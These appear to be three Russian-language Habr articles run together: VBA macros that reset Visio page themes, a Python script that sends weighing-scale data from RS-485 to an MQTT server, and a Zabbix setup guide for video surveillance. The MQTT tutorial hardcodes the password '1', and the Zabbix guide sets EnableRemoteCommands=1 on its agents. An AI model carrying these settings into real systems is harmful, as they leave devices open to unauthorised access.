----------------------
Дело в том, что по умолчанию к документу применена некая тема и включена галочка «Применить тему ко всем новым фигурам».
Рис. 2 - Темы на вкладке ленты «Конструктор»Или же пользователь случайно «применит тему» щелкнув по кнопке на ленте, на вкладке «Конструктор».
После этого ваша схема, которая должна иметь сдержанный (желательно черно-белый) вид становится вдруг голубой и зеленой…
Как с этим бороться
-------------------
Самый надежный способ «предохраняться», т.е. использовать фигуры, имеющие защиту от влияния тем. Но это долго и сделать такое могут не только лишь все…
Один из пользователей русскоязычного сообщества пользователей Visio написал следующие строки:
> Когда компьютеры взрослели,
> А код входил на перфокарты
> Тогда программы были проще,
> И Visio средь них легендой.
>
> Но годы эти миновали,
> А злая воля и продажность
> Рожденье дали злу большому
> Которое зовется "темы".
>
> Они отнюдь не безобидны,
> Как в микрософте уверяют,
> А применяются огульно
> Ко всем фигурам устаревшим.
>
> И чтобы оградить потомков,
> От богомерзкого разгула,
> У мастеров всегда должна быть
> Защита сделана примерно!
>
>
Если вы не предохранялись и ваш документ содержит лишь одну страницу, то это не беда: отключить «не нужное оформление» не долго. Хуже если документ многостраничный, самый простой способ перебрать все страницы документа и изменить текущие темы страницы на «Без темы». Разумеется в промышленных масштабах делать такое лучше макросом!
Впервые я столкнулся с этим в далеком уже 2014 году используя версию **Visio 2010**.
Тогда код для устранения последствий выглядел так:
```
Sub KillThemesFromDocuments() ' процедура для применения в Visio 2010 и старше
Dim pg As Page ' переменная - текущая страница
For Each pg In ActiveDocument.Pages ' перебор страниц в активном документе
pg.ThemeColors = "visThemeNone" ' установить цвет темы «Без темы»
pg.ThemeEffects = "visThemeEffectsNone" ' установить цвет темы «Без темы»
Next
ActiveDocument.RemoveHiddenInformation (visRHIStyles) ' удаление из документа неиспользуемых тем
End Sub
```
Не так давно смежники прислали документ со схемами в стиле «Пожар в джунглях». На этот раз я уже пересел на версию Visio 2019 и вышеуказанный код написанный в прошлом при запуске стал выдавать ошибку.
Как оказалось тут есть нюансы!
В версии Visio 2010 для сохранения документа с предлагался единственный вариант с расширением **\*.vsd**.
Начиная с версии Visio 2013 добавился [новый вариант расширения документа](https://www.microsoft.com/en-us/microsoft-365/blog/2012/09/10/vsdx-the-new-visio-file-format/) **\*.vsdx**, причем этот вариант является расширением по умолчанию!
Рис. 3 - Структура современного формата файла в MS VisioВ таких документах при попытке программно изменить свойства страницы [ThemeColors](https://learn.microsoft.com/en-us/office/vba/api/visio.page.themecolors) и [ThemeEffects](https://learn.microsoft.com/en-us/office/vba/api/visio.page.themeeffects) возникает ошибка.
Рис. 4 - Сообщение в окне Locals в VBA-редактореПришлось немного модифицировать мой код для поддержки нового формата файла, добавив проверку расширения файла и использовать методы [SetTheme](https://learn.microsoft.com/en-us/office/vba/api/visio.page.settheme) и [SetThemeVariant](https://learn.microsoft.com/en-us/office/vba/api/visio.page.setthemevariant).
```
Dim pg As page ' переменная - текущая страница
Sub KillThemesFromDocuments2022() ' процедура для применения в Visio 2013+
Dim IsVSD As Boolean ' документ сохранен в старом формате vsd
IsVSD = False
If Right(ActiveDocument, 3) = "vsd" Then IsVSD = True
If IsVSD Then
OldFix ' запускаем процедуру если документ в формате vsd
Else
ModernFix ' запускаем процедуру если документ в формате vsdx
End If
ActiveDocument.RemoveHiddenInformation (visRHIStyles) ' удаление из документа неиспользуемых тем
End Sub
Sub OldFix() ' процедура для файлов старого формата
For Each pg In ActiveDocument.Pages ' перебор страниц в активном документе
pg.ThemeColors = "visThemeNone" ' установить цвет темы «Без темы»
pg.ThemeEffects = "visThemeEffectsNone" ' установить цвет темы «Без темы»
Next
End Sub
Sub ModernFix() ' процедура для файлов нового формата
For Each pg In ActiveDocument.Pages ' перебор страниц в активном документе
pg.SetTheme 0, 0, 0, 0, 0 ' сброс настроек страницы в «Без темы»
pg.SetThemeVariant 0, 0, 0 ' сброс настроек страницы в «Без вариаций»
Next
End Sub
```
Заключение
----------
Если вы дочитали это графоманство до конца и встретите в одном из документов подобные «чудеса» не паникуйте ! Просто примените один из выше приведенных кодов, для используемой вами версии продукта MS Visio.
Обновление (от 12.12.2022)
--------------------------
Не так давно на одном из форумов поднималась тема, связанная с изменением размеров всех листов документа. Оказалось существует кнопка, которая позволяет сделать это одним кликом. Главное ~~верить~~ знать, что кнопка существует и найти эту кнопку!
Рис. 4 - ТехкомментНе буду вас сильно томить…
Рис. 5 - Скрытая опцияКнопку можно увидеть, если щелкнуть правой кнопкой мыши по списку тем на ленте.
Рис. 6 - Определение тем, примененных к страницам документаНаведя мышь на некоторую тему можно увидеть к каким из страниц документа применена данная тема. Тему можно применить к текущей странице или ко всем страницам документа.
Я бился с темами начиная с 2014 года, а дело оказалось в одной «тщательно запрятанной кнопке»! Уже после этого открытия мне удалось таки найти в архиве блога «О Visio по-русски» пост [Темы и их параметры](https://learn.microsoft.com/ru-ru/archive/blogs/visio_ru/832).
*Praemonitus, praemunitus* - **Кто предупреждён, тот вооружён!**
Иными словами, будучи предупреждённым о некоторой опасности (или возможности), человек теперь к ней подготовлен и должен с нею справиться… | https://habr.com/ru/post/697172/ | null | ru | null |
# Как снять данные с весового модуля со своей спецификацией протокола передачи данных и отправить на MQTT сервер
Данная статья написана для начинающих, тех кто на начальном уровне знает Python и немного разбирается в АСУ ТП. Задача достаточно распространенная, надо взять данные со старого, со своей спецификой оборудования и перевести ее в такой вид, что бы ее можно было легко достать (MQTT сервер) и обрабатывать (SCADA или любое ПО, которое умеет работать с MQTT).
Зачем это вообще нужно? да просто ходить до весоизмерительного модуля далеко, а контролировать его надо, да и необходима база в которой будут записаны его показания, такие как общее количество кг взвешенного им и общее количество нафасованных мешков и про хотелки производственников не забываем)
Мы имеем:
* "Прибор весоизмерительный ЦЕНТА АД-К", связь с внешним миром через RS-485 с специфическим протоколом верхнего уровня немного похожий на MODBUS (*Используется символьный протокол, с ASCII-HEX представлением данных. Числовые данные передаются в виде последовательности ASCII символов шестнадцатеричной записи числа, с выравниванием до чётного числа знакомест*, так пишет разработчик данного прибора)
* Одноплатный компьютер Raspberry Pi, в особом представлении не нуждается
* Сервер, любой ПК с характеристиками, как минимум офисного ПК начального уровня, главное, побольше ОЗУ
Сама схема простая:
По RS-485 весоизмерительного прибора берем данные,
Переводим в читаемый вид,
Отправляем на MQTT сервер.
Эх, если бы все было так легко и непринужденно... но так не бывает, нас ожидают куча подводных камней, ограничения и т.д., все как обычно)
Что бы взять данные с весоизмерительного модуля надо понять, как он вообще общается с внешним миром, хорошо что по запросу в <http://www.centa.ru/about.htm> нам предоставили ПО для снятия данных и описание работы протокола с перечнем запросов. По хорошему, можно было обойтись и этой программой, но для этого пришлось бы тянуть кабель для подключения, сама ПО неудобная, связь с БД ограничена. Другой выход, это преобразовать сигнал RS-485 и отправлять его по имеющимся Ethernet, но опять же, танцы с бубном с настройками конвертации (помним, что верхний уровень, это своя версия MODBUS протокола), сами блоки конвертации стоят достаточно дорого, а смогут ли они нормально передать сигнал, да и кто на такой достаточно мутный проект (инициатива самого автора, который ранее подобного не делал) даст денег, так что для начала, надо собрать работающий прототип на том что есть в личных запасах
#### (1) Снифаем COM порт между весовым модулем и ПК
Берем ноут, ставим "Serial Port Monitor" (почему его? Все очень просто, он не занимает COM порт, можно спокойно снифать трафик и не мудрить с кабелями или программно эмулировать кучу COM портов), подключаем преобразователь интерфейса USB to RS-485 (*народ, не жалейте денег на нормальный преобразователь, он должен быть с гальванической развязкой а не поделкой за 200 рублей с алика, пожалейте USB порт Вашего ПК или ноута*), подключаемся к весоизмерительному прибору, запускаем "Serial Port Monitor" (вводим номер COM порта, далее все настройки скорости, четности и т.д. можно посмотреть в логах данной ПО), запускаем ПО от "centa" для снятия показаний и смотрим что нам показывает "Serial Port Monitor". А показывает он нам корректные запросы с адресом, настройками COM порта и кодировкой используемой в протоколе, далее нам эта информация потребуется для конвертации ответов на запросы к весоизмерительному модулю
#### (2) Пишем скрипт для переброски данных с весового модуля на "MQTT" сервер
В шаге **(1)** мы поняли как именно общается между собой ПК и весоизмерительный модуль. Теперь нам надо создать скрипт, так как автор знает немного python, то на нем и будем писать скрипт, так же не забываем, что надо написать и MQTT клиент (шаг **(3)**) который на сервер будет отправлять нужные нам данные. Еще одна загвостка, все это должно работать на "Raspberry Pi" под ее величием "Raspberry Pi OS" основанным на "Debian", так что все что мы пишем в консоле, обязательно приправляем незаменимой командой "*sudo*", звучит пафосно, но без "*sudo*", как и без синей изоленты в электрике, электронике ничего не работает)
Прежде чем дать текст скрипта, нам надо настроить среду, начнем с **удаленного рабочего стола**, "*Xrdp*" не хотит нормально работать, требуются танцы с бубном, очень жаль что с новыми ОС она криво работает, если кто то знает как ее заставить работать, напишите пожалуйста. Мы будем использовать "**VNC**", он уже установлен на "Raspberry Pi", его надо включить ( *Menu > Preference > Raspberry configuration > Interfaces > Enable VNC* ), а на другой стороне установить "VNC-viewer", она бесплатна. Далее, нам надо установить библиотеку "**paho-mqtt**", идем на "<https://pypi.org/project/paho-mqtt/>" смотрим, как это чудо устанавливается и вспоминаем про "*sudo*", без этого волшебного слова в консоле у меня криво встал "paho-mqtt", он виден в pip но корректно не запускается, по этому устанавливаем так:
*sudo pip install paho-mqtt*
Далее маленькое отступление, я не программист, только учусь, код не оптимизирован, так как там будет куча правок, добавление функционала, это рабочий прототип, но конструктивная критика приветствуется)
Далее текст скрипта:
```
import serial
import time
#подгружаем библиотеку для работы с QMTT
import paho.mqtt.publish as publish
#настройки на COM порт
with serial.Serial() as ser:
ser.baudrate = 19200
#ser.port = 'COM5'
ser.port = '/dev/ttyUSB0'
bytesize=8
parity='N'
stopbits=1
timeout=1
write_timeout=1
#готовим запрос (надо hex преобразовать в byte)
values = bytearray([
int('0x23', 16), #[0:7] -запрос веса
int('0x30', 16),
int('0x31', 16),
int('0x31', 16),
int('0x30', 16),
int('0x34', 16),
int('0x30', 16),
0,
int('0x23', 16), #[8:15] -запрос колличество мешков
int('0x30', 16),
int('0x31', 16),
int('0x31', 16),
int('0x30', 16),
int('0x34', 16),
int('0x34', 16),
])
podpiski_values =["fasovka/error","fasovka/obhii_ves","fasovka/koll_mehkov"]
#--------------------------------------------
#включение COM порт
#через обработчика ошибок
#подпрограмма для отправки сообщений QMTT
def QMTT_read(a,b):
#дописать сообщения
try:
publish.single( a, payload = b, hostname="192.168.20.213",auth = {'username':"pi", 'password':"1"})#
#publish.single( a, payload = b, hostname="192.168.137.1")#
except:
print('нет связи с сервером QMTT')
#--------------------------------------------
def COM_write(c,d):
print(values[c:d])
ser.write(values[c:d] + b'\r\n')
#--------------------------------------------
def COM_read():
#запрос или эмулятор вывода
#Далее интересная конструкция:
#если на прямую читать ser.readline(), то если порт пустой
#система будет ждать сообщения и дальше скрипт выполняться не будет
#По этому мы читаем количество байт в буфере порта, если
#что то есть, значит весовой модуль что то отправил
x = ser.inWaiting() #сколько байт в входном буфере
print('в буфере - ',x)
if x > 0: #если в буфере более ноля байт, то можно читать readline, иначе нет
line = ser.readline()# read a '\n' terminated line
print(type(line))
print(line)
#---line = b'@01(PAR40(\x91\xe7\xa5\xe2\xe7\x8e\xa1\xe9\x82\xa5\xe1\xa01=0x017E34E0))\r\n'
#настраиваем поиск
nathalo=line.find(b'=0x')
konets=line.find(b'))')
#запихиваем срез
srez_znathenia = line[nathalo+3:konets]
print(srez_znathenia)
#выводим на экран
print(int("".join(srez_znathenia.decode('cp866')),16))
#отправляем QMTT значение
return int("".join(srez_znathenia.decode('cp866')),16)
else:
print('во входном буфере 0')
#отправляем QMTT что 0
return int(0)
#--------------------------------------------
#открываем порт
try:
ser.open()
except serial.SerialException:
print('ошибка при запуске COM')
QMTT_read(podpiski_values[0],"no_COM_port")
else:
#нам надо отправить 2 запроса
for number in [0,1]:
#запрос с переносом строки
print(number)
if number == 0:
COM_write(0,7)
elif number == 1:
COM_write(8,15)
else:
print('ошибка цикла')
#ответ же не сразу предет, поспим немного
time.sleep(1)
#проверяем на наличие соединения
try:
COM_otvet = COM_read()
print(COM_otvet)
except serial.SerialException:
print('ошибка при запуске COM')
QMTT_read(podpiski_values[0],"no_COM_port")
else:
#проверяем на наличие байт в порте
if COM_otvet > 0: #если в буфере более ноля байт, то можно читать readline, иначе нет
QMTT_read(podpiski_values[1+number],COM_otvet)
QMTT_read(podpiski_values[0],"---")
else:
QMTT_read(podpiski_values[0],"no_values_RS485")
#порт и так сильно потрудилась, пускай поспит
time.sleep(1)
ser.close()
```
Корректно укажите ip адрес, настройки и номер COM
Так же в "*paho"* можно сообщения отправлять не подключаясь и отключаясь для каждого сообщения, а нормально подключится, но для нас это избыточно так как сообщений мало и они будут настроены на работу раз в минуту
Данный скрипт нужно запускать через определенное время, я для себя решил, что запускаться должен 1 раз в 1 минуту, наша цепочка будет такая: мы создадим исполняемый файл "*/home/rpi/comand\_COM\_MQTT\_bat.run*"
делаем его исполняемым "*chmod ugo+x /home/rpi/comand\_COM\_MQTT\_bat.run*"
запишем ф файл *comand\_COM\_MQTT\_bat.run* следующее: *#!/bin/bash
sudo python3 /home/rpi/COM\_MQTT.py*
Затем мы должны настроить планировщик задач:
*crontab -e*
в нем добавляем строку:
*/1 \* \* \* \* /home/rpi/comand\_COM\_MQTT\_bat.run*
Как видно из настройки, мы запускаем наш *comand\_COM\_MQTT\_bat.run* раз в минуту
**(3)** Теперь нам надо установить и настроить "MQTT" сервер (*у меня рабочая среда "Win10", настройки ниже проверенны на ней*), устанавливаем "<https://mosquitto.org/download/>" для Вашей ОС, далее:
Простыня настроекДля облегчения создаем **testMQTT.cmd** файл (командный файл) со следующим текстом:
```
start "QMTT_Server" /d "C:\Program Files\mosquitto\" mosquitto.exe -c "C:\Program Files\mosquitto\mosquitto.conf" -v
TIMEOUT /T 2
start "QMTT_podpiska" /d "C:\Program Files\mosquitto\" mosquitto_sub.exe -h 127.0.0.1 -t fasovka/# -u pi -P 1 --debug
```
*При повторном запуске 1 строчка будет ругаться так как сервер уже запущен, не обращайте внимание, нам нужна 3 строчка, она покажет сообщения для отладки*
Данным командным файлом мы в разных процессах запускаем сам сервер (*строка 1*), после перерыва в 2 секунды (*строка 2*) запускаем клиента который смотрит все топики *fasovka/#* поступающие на сервер "MQTT" (*строка 3*).
**Не спешим запускать testMQTT.cmd, сначала настроим "MQTT" сервер**
Настройка *mosquitto.conf:*
*pid\_file C:\mosquitto\mosquitto.pid
persistence true
persistence\_location C:\mosquitto
log\_dest file C:\mosquitto\mosquitto.log
#include\_dir /etc/mosquitto/conf.d
password\_file C:\mosquitto\passwd
listener 1883
persistence\_file mosquitto.db
log\_dest syslog
log\_dest stdout
log\_dest topic
log\_type error
log\_type warning
log\_type notice
log\_type information
connection\_messages true
log\_timestamp true
allow\_anonymous false*
*К сожалению я не успел поэкспериментировать с настройками, единственное я точно могу сказать что с данными настройками сервер будет принимать не только локальные сообщения, но и удаленные*
Создаем файл пароля:
*"C:\Program Files\mosquitto\mosquitto\_passwd.exe" -c -b C:\mosquitto\passwd pi 1*логин - pi
пароль - 1
Запускаем ранее созданный **testMQTT.cmd** файл
Проверяем что все работает, для этого в командной строке вводим:
*"C:\Program Files\mosquitto\mosquitto\_pub -h localhost -t "fasovka/error" -m "Privet" -u "pi" -P "1"*тем самым мы в топик *"fasovka/error"* отправили сообщение *"Privet"*
Более детально про настройки сервера, пароли, настройка *mosquitto.conf* можно прочитать здесь:
<https://mosquitto.org/man/mosquitto-8.html>
<https://mosquitto.org/man/mosquitto_passwd-1.html>
<https://mosquitto.org/man/mosquitto-conf-5.html>
Понимаю, что документация на английском языке, я сам английский не знаю, но через яндекс или гугл переводчик общий смысл понятен
### Заключение
Для меня, как новичка, это реальный опыт воплощения проекта в жизнь, что бы это реализовать я пользовался собственным железом так как не был уверен в успехе, но теперь данный проект проверен и будет расширяться. Дальнейшие планы: подключить "MasterSCADA" к "MQTT" серверу и на ней обрабатывать и отображать информацию в том числе и от других источников (аварии на котельной, вентиляция и т.д.), так же хочу приделать "telegram" бота что бы он мог в чат отправлять оповещения, само собой что бы не плодить обработчиков, всем будет управлять "MasterSCADA". | https://habr.com/ru/post/712050/ | null | ru | null |
# Мониторинг систем видеонаблюдения с помощью Zabbix
Система мониторинга Zabbix уже давно зарекомендовала себя как простое в установке и настройке решение, которое помогает поддерживать работоспособность серверов, сайтов, сети и т. д. Многие администраторы выбирают ее для решения своих задач благодаря стабильной работе 24/7 и гибким возможностям настройки. Несмотря на это, в сети крайне мало инструкций по настройке zabbix для видеонаблюдения, что и подтолкнуло нас к написанию этой статьи.
Зачем нужен мониторинг
----------------------
В основном систему zabbix используют опытные пользователи, для которых её установка и настройка не составляют особого труда. Но что же делать остальным? В этой статье мы постараемся помочь разобраться в основах работы и показать основные моменты для дальнейшего самостоятельного изучения системы мониторинга zabbix.
Мы расскажем об установке сервера и агента Zabbix на Windows и Linux. Ответим на вопрос, как настроить оповещения о потере связи с камерами, высокой нагрузкой центрального процессора на сервере, проблемах с клиентскими местами, и немного коснемся стандартных шаблонов.
Стоит сказать, что в [IP-видеонаблюдении](https://devline.ru/sistema_videonabljudenija/) каждый элемент имеет свой IP-адрес, поэтому желательно, чтобы элементы системы, с которыми мы будем работать, имели статические IP-адреса для более удобной настройки системы мониторинга.
Zabbix: запуск и настройка
--------------------------
Итак, программное обеспечение Zabbix строится по принципу «сервер – агент».
Сервер собирает и хранит всю информацию, с его помощью можно быстро просмотреть историю мониторинга, настроенных узлов, а также добавить новые узлы, правила и т. д.
Агент устанавливается на компьютер, информация с которого вас интересует.
Серверная часть Zabbix работает под системой Linux. Так как данная статья рассчитана на людей, которые впервые столкнусь с данной ОС, рекомендуем начать с операционной системы Ubuntu, она более дружелюбна к новичкам. Всю информацию по ней можно найти в официальном русском сообществе [ubuntu.ru](http://ubuntu.ru/). Там также можно посмотреть инструкцию по установке на ПК или на виртуальную машину, например Oracle VM VirtualBox.
После запуска системы необходимо сразу же обновить пакеты вашей ОС.
Для этого открываем консоль ctrl + alt + t и вводим команду
```
sudo apt update && sudo apt upgrade
```
Возможно, придется несколько минут подождать, пока будут обновлены все пакеты.
Также нам понадобится текстовый редактор:
```
sudo apt-get install mcedit
```
Далее переводим язык системы на русский:
```
sudo locale-gen ru_RU
```
Для работы с zabbix нужно установить базу данных MySQL и веб-сервер Apache:
```
sudo apt install mysql-server mysql-client apache2
```
Установим пароль для пользователя root от MySQL.
Теперь установим нужные PHP-зависимости:
```
sudo apt install php-mbstring php-bcmath php-xml
```
И перезапустим Apache:
```
sudo service apache2 reload
```
Далее можно приступить к установке самой системы мониторинга. Пошаговая инструкция описана на [официальном сайте Zabbix](https://www.zabbix.com/ru/download?zabbix=3.4&os_distribution=ubuntu&os_version=xenial&db=MySQL), давайте пройдем их вместе:
1) Выбираем нашу платформу для сервера Zabbix. В качестве базы данных используем MySQL.
2) Скачиваем и устанавливаем репозиторий Zabbix:
```
wget http://repo.zabbix.com/zabbix/3.4/ubuntu/pool/main/z/zabbix-release/zabbix-release_3.4-1+xenial_all.deb
sudo dpkg -i zabbix-release_3.4-1+xenial_all.deb
sudo apt update
```
3) Устанавливаем zabbix-server-mysql, zabbix-frontend-php и zabbix-agent,
```
sudo apt install zabbix-server-mysql zabbix-frontend-php zabbix-agent
```
4) Cоздаем базу данных MySQL для Zabbix:
```
sudo mysql -uroot –p
mysql> create database zabbix character set utf8 collate utf8_bin;
mysql> grant all privileges on zabbix.* to zabbix@localhost identified by 'пароль';
mysql> quit
```
Теперь заполняем базу данных, это займет некоторое время:
```
cd /usr/share/doc/zabbix-server-mysql/
zcat create.sql.gz | mysql -uzabbix -p zabbix
```
5) Настройка конфигураций сервера Zabbix:
Откроем через текстовый редактор конфигурационный файл
```
sudo mcedit /etc/zabbix/zabbix_server.conf
```
И заполним следующие поля:
```
DBHost=localhost
DBName=zabbix
DBUser=zabbix
DBPassword=пароль
```
6) Следующие 2 шага поменяем местами.
Установим временной пояс в настройках веб-сервера:
```
sudo mcedit /etc/apache2/conf-available/zabbix.conf
```
```
php\_value max\_execution\_time 300
php\_value memory\_limit 128M
php\_value post\_max\_size 16M
php\_value upload\_max\_filesize 2M
php\_value max\_input\_time 300
php\_value always\_populate\_raw\_post\_data -1
php\_value date.timezone Europe/Moscow
php\_value max\_execution\_time 300
php\_value memory\_limit 128M
php\_value post\_max\_size 16M
php\_value upload\_max\_filesize 2M
php\_value max\_input\_time 300
php\_value always\_populate\_raw\_post\_data -1
php\_value date.timezone Europe/Moscow
```
И перезапустим его:
```
sudo service apache2 reload
```
7) Готово, можно запускать сервер Zabbix:
```
sudo systemctl start zabbix-server
sudo systemctl enable zabbix-server
```
Делаем небольшую проверку:
```
systemctl status zabbix-server zabbix-agent
```
Должно появиться следующее сообщение:
Настройка веб-интерфейса Zabbix
-------------------------------
Теперь можно зайти на web-интерфейс Zabbix, для этого в браузере нужно ввести:
```
http://localhost/zabbix
```
**Нас поприветствует мастер настройки.** По большей части тут будем нажимать next.
Здесь нужно ввести установленный ранее пароль.
В конце появится окно авторизации, по умолчанию пользователь – Admin, пароль – zabbix.
**Меняем язык через настройки пользователя.**Заходим в профиль.
Выбираем русский язык.
Меняем пароль с zabbix на свой и нажимаем Update.
Настройка мониторинга, шаблоны, триггеры
----------------------------------------
### Zabbix-сервер
Теперь перейдем к основному пункту, а именно настройке мониторинга.
Заходим в «Настройка» — «Группы узлов сети».
Тут мы увидим заранее созданные системные группы, удалять их не надо.
Нажимаем «Создать группу узлов сети». Заполняем имя группы, например Networks. Узлы пока не добавляем. Нажимаем «Добавить».
Нам также понадобится группа для наших шаблонов, нажимаем «Создать группу узлов сети», в поле «Имя» пишем: Templates for Networks. Нажимаем «Добавить».
### Шаблоны
Теперь перейдем к шаблонам: «Настройка» – «Шаблоны» – «Создать шаблон».
**Так как мы работаем с IP-камерами и серверами, первым шаблоном нужно сделать проверку узла по пингу.**Вводим имя шаблона, например Ping Template. Добавляем нашу группу Templates for Networks и можем добавить описание по кнопке «Добавить».
Теперь мы можем выбрать группу для шаблонов, чтобы видеть наши шаблоны.
Добавляем в шаблон элемент данных, для этого нажимаем «Элементы данных» – «Создать элементы данных».
В поле «Имя» указываем Ping.
«Ключ» – нажимаем «Выбрать» и выбираем первый ключ. Он будет возвращать 1 в случае удачного пинга и 0 в случае неудачного, нам этого достаточно.
Все параметры установлены по умолчанию, поэтому удаляем все, что находится в квадратных скобках:
> «Тип информации» – выбираем «Числовой (целое положительное)».
>
>
>
> Поле «Единица измерения» оставляем пустым.
>
>
>
> «Интервал обновления» – тут выбираем интервал пинга, например 60 s.
>
>
>
> «Период хранения истории» – для уменьшения размера базы данных поставим 1 d.
>
>
>
> «Период хранения динамики изменений» – 5 d.
Нажимаем «Добавить».
**А также необходимо знать процент потерянных пакетов.**Добавим сразу еще один элемент – процент потерянных пакетов.
Нажимаем «Создать элемент данных».
> В поле «Имя» указываем lost packet.
>
>
>
> «Ключ» – нажимаем «Выбрать» и выбираем второй ключ.
>
>
>
> Также удаляем все, что находится в квадратных скобках.
>
>
>
> «Тип информации» – «Числовой (с плавающей точкой)».
>
>
>
> «Единица измерения» – вписываем «%».
>
>
>
> «Интервал обновления» – 60 s.
>
>
>
> «Период хранения истории» – 1 d.
>
>
>
> «Период хранения динамики изменений» – 5 d.
Нажимаем «Добавить».
### Графики
Чтобы визуализировать информацию, нам понадобятся графики. Выбираем «Графики» и нажимаем «Создать график».
> В поле «Имя» вводим Ping.
>
>
>
> Снимаем галочку с «Отображать триггеры».
>
>
>
> «Элементы данных» – «Добавить» – выбираем наш Ping.
Также добавляем lost packet.
Нажимаем «Добавить».
### Настройка мониторинга удаленного сервера
**Теперь приведем пример настройки мониторинга удаленного сервера**Теперь для примера добавим наш удаленный сервер, который имеет белый IP-адрес.
Заходим «Настройка» – «Узлы сети» – «Создать узел сети».
Задаем название, IP-адрес, описание (не обязательно) и переходим в добавление шаблона.
В шаблонах, в поле «Соединить с новыми шаблонами», выбираем наш шаблон для сети и дважды нажимаем «Добавить».
В узлах сети видно добавление нашего узла. У него есть два элемента данных, график и активное состояние.
Теперь специально отключим сеть на несколько минут и посмотрим графики.
«Мониторинг» – «Графики» – выбираем нашу группу, узел и график.
### Настройка отправки
**Чтобы получать уведомления о проблемах в работе системы, настроим отправку уведомлений**Заходим в «Администрирование» – «Способы оповещений».
Выделяем и удаляем стандартные способы.
Теперь создаем новый способ с помощью кнопки «Создать способ оповещения».
Заполняем настройки нашего smtp-сервера.
Далее нужно заполнить данные пользователей, которым будет отправляться почта.
Переходим в «Администрирование» – «Пользователи». Выбираем своего пользователя: Admin – «Оповещения» – «Добавить» – в поле «Отправлять на» вводим свою почту – «Добавить».
Теперь создадим триггер, при срабатывании которого нужно будет выполнять отправку email-сообщения.
«Настройка» –> «Узлы сети» –> «Триггеры» –> «Создать триггер».
Добавим наш элемент.
> «Имя» – вводим Ping fail.
>
>
>
> «Важность» выставляем самостоятельно, здесь «Средняя».
«Добавить».
Создаем действие, которое будет отправлять нам оповещения при срабатывании триггеров.
«Настройка» – «Действия» – «Источник события» – «Триггеры» – «Создать действие».
Вводим имя действия, удаляем стандартное условие и добавляем своё, тип «Триггер» – «Выбрать».
В поле «Новое условие» нажимаем «Добавить» и переходим во вкладку «Операции».
Тут можно выбрать длительность, тему и текст сообщения. Оставим их по умолчанию.
> «Длительность шага операции по умолчанию» – ставим 10 m.
>
>
>
> «Отправлять пользователям» – выбираем нашего пользователя.
>
>
>
> «Отправлять только через» – email.
Добавляем наше действие.
Выключаем сеть для проверки.
Заходим в «Мониторинг» – «Проблемы» и видим нашу ошибку.
Проверяем почту и видим письмо о проблеме.
После получения письма и устранения проблемы можно в «Мониторинге проблем» нажать на «Нет» в столбце «Подтверждено» и подтвердить событие, поставив себе какую-нибудь заметку.
Zabbix-клиент
-------------
Выше показана малая часть работы с zabbix, теперь приступаем к самому интересному. Наша цель – поставить на контроль сервер, а именно нагрузку на центральный процессор.
Итак, приступим, с этим нам поможет zabbix-agent.
**Windows Agent**Начнем с Windows-агента.
Его можно скачать с официального сайта Zabbix, выбрав zabbix-agent для windows.
После необходимо создать папку, в которой будет лежать наш агент, например: C:/Program Files/zabbix.
В скачанном файле перейдем в папку bin и в зависимости от разрядности вашей операционной системы перейдем в папку win32 или win64. Далее описаны действия для 64-битной ОС:
/zabbix\_agents\_3.4.6.win.zip/bin/win64 и с этой папки копируем 3 файла zabbix\_agentd, zabbix\_get и zabbix\_sender в папку C:/Program Files/zabbix; далее копируем папку /zabbix\_agents\_3.4.6.win.zip/conf в папку C:/Program Files/zabbix.
Должно получиться вот так:
Теперь нужно настроить конфигурационный файл в C:/Program Files/zabbix/conf/. Открываем zabbix\_agentd.win.conf и меняем следующие строки:
> LogFile=c:/zabbix\_agentd.log
>
> меняем на
>
> LogFile=C:/Program Files/zabbix/zabbix\_agentd.log;
>
>
>
> # LogFileSize=1
>
> меняем на
>
> LogFileSize=100;
>
>
>
> # EnableRemoteCommands=0
>
> меняем на
>
> EnableRemoteCommands=1;
>
>
>
> Server=127.0.0.1
>
> указываем IP-адрес нашего сервера, на котором стоит zabbix-server
>
> Server=192.168.1.105;
>
>
>
> # ListenPort=10050
>
> меняем на
>
> ListenPort=10050;
>
>
>
> ServerActive=127.0.0.1
>
> указываем IP-адрес нашего сервера, на котором стоит zabbix-server
>
> ServerActive=192.168.1.105.
Сохраняем.
Далее нам нужно открыть командную строку в режиме администратора.
Устанавливаем службу:
```
"C:/Program files/zabbix/zabbix_agentd.exe" --config
"C:/Program files/zabbix/conf/zabbix_agentd.conf" –install.
```
Запускаем службу:
```
"C:/Program files/zabbix/zabbix_agentd.exe" --config
"C:/Program files/zabbix/conf/zabbix_agentd.conf" –start.
```
Теперь нужно создать правило для брандмауэра.
Заходим в «Панель управления» – «Система и безопасность» – «Брандмауэр защитника Windows» – «Дополнительные параметры» – «Правила для входящих подключений» – «Создать правило». Выбираем «Для программы» – «Далее» – «Путь программы». Указываем путь к zabbix\_agentd – «Далее» – «Разрешить подключение» – «Далее». Оставляем галочки на всех профилях – «Далее» – «Имя» – zabbix-agent – «Далее».
Готово.
**Linux Agent**Для Linux установка zabbix-агента намного проще. Тем более что часть работы уже завершена на этапе установки zabbix-сервера.
На сервере видеонаблюдения нужно скачать и установить репозиторий zabbix:
```
wget http://repo.zabbix.com/zabbix/3.4/ubuntu/pool/main/z/zabbix-release/zabbix-release_3.4-1+xenial_all.deb
sudo dpkg -i zabbix-release_3.4-1+xenial_all.deb
sudo apt update
```
Затем установить клиент
```
sudo apt install zabbix-agent
```
Настройка конфигурационного файла точно такая же, как и для windows-версии, за исключением параметра LogFile, который трогать не нужно:
```
sudo mcedit /etc/zabbix/zabbix_agentd.conf
```
Перезапускаем zabbix-agent:
```
sudo /etc/init.d/zabbix-agent restart
```
Готово.
**Получение информации с agent**Узнаем имя узла, на котором стоит zabbix-agent. Для Windows это можно посмотреть в свойствах системы.
Для Linux можно воспользоваться командой «traceroute IP-адрес».
Теперь переходим в веб-интерфейс zabbix-сервера. Заходим в «Настройка» – «Узлы сети» – «Создать узел сети».
> «Имя узла сети» – указываем имя нашего узла, например Oleg-PC.
>
>
>
> «Видимое имя» – указываем понятное для нас имя, например Server Oleg-PC.
>
>
>
> «Интерфейсы агента» – вводим IP-адрес нашего агента 192.168.1.100.
Переходим во вкладку «Шаблоны» и в поле «Соединить с новыми шаблонами» нажимаем «Выбрать».
Воспользуемся стандартным шаблоном.
Выбираем группу Templates/Operating Systems и выделяем шаблон Template OS Windows. Дважды нажимаем «Добавить».
Аналогично настраивается получение информации от сервера на базе Linux.
Так получаем отображение двух серверов.
Заходим в «Мониторинг» – «Графики», выбираем нашу группу Networks – узел сети server-ubuntu и смотрим, какие графики нам доступны.
На Windows-сервере смотрим так же.
